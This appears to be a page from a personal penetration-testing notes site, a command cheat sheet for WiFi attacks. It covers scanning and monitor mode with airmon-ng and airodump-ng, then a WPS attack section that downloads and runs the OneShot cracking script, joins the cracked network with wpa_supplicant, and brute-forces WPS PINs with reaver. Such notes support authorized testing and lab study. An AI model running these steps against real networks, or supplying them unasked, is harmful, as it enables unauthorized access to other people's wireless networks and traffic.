> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/other/wifi.md).

# WiFi

## 00. Basic

```bash
## ------------------| Get all available interfaces
iwconfig
ip link show

## ------------------| Scan all available wifis
iwlist wlan0 scan
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA"

## ------------------| Enable monitor mode
airmon-ng start wlan0 
iwconfig wlan0 mode monitor

## ------------------| Enable managed mode
airmon-ng stop wlan0mon 
iwconfig wlan0mon mode managed

## ------------------| Start scan 
#### 5GHz (a)
airodump-ng --band a wlan0mon
#### 2.4GHz (b,g)
airodump-ng wlan0mon

## ------------------| Start scan WPS
airodump-ng wlan0mon --wps

## ------------------| Kill processes
airmon-ng check kill
```

## 01. WPS Attack

```bash
## ------------------| Scann all wifi networks
iwconfig
iwlist scan

## ------------------| Fetch the BSID
iwconfig <inf> | sed -n 's/.*Access Point: \([0-9\:A-F]\{17\}\).*/\1/p'

## ------------------| Using OneShot (Python)
#### Cracking 
wget https://raw.githubusercontent.com/kimocoder/OneShot/master/oneshot.py
python3 oneshot.py -i <i nterface>
#### Connecting
wpa_passphrase <SSID> <PASS> > /dev/shm/wpa.conf
wpa_supplicant -B -c /dev/shm/wpa.conf -i wlan0
#### Cheking connection
iw dev wlan0 link 
echo "unset new_routers" >> /etc/dhcp/dhclient-enter-hooks.d/no-default-route
dhclient -v 
rm /etc/dhcp/dhclient-enter-hooks.d/no-default-route 

## ------------------| Using reaver (C)
## https://github.com/t6x/reaver-wps-fork-t6x
reaver -i mon0 -b <BSID> -vv
```
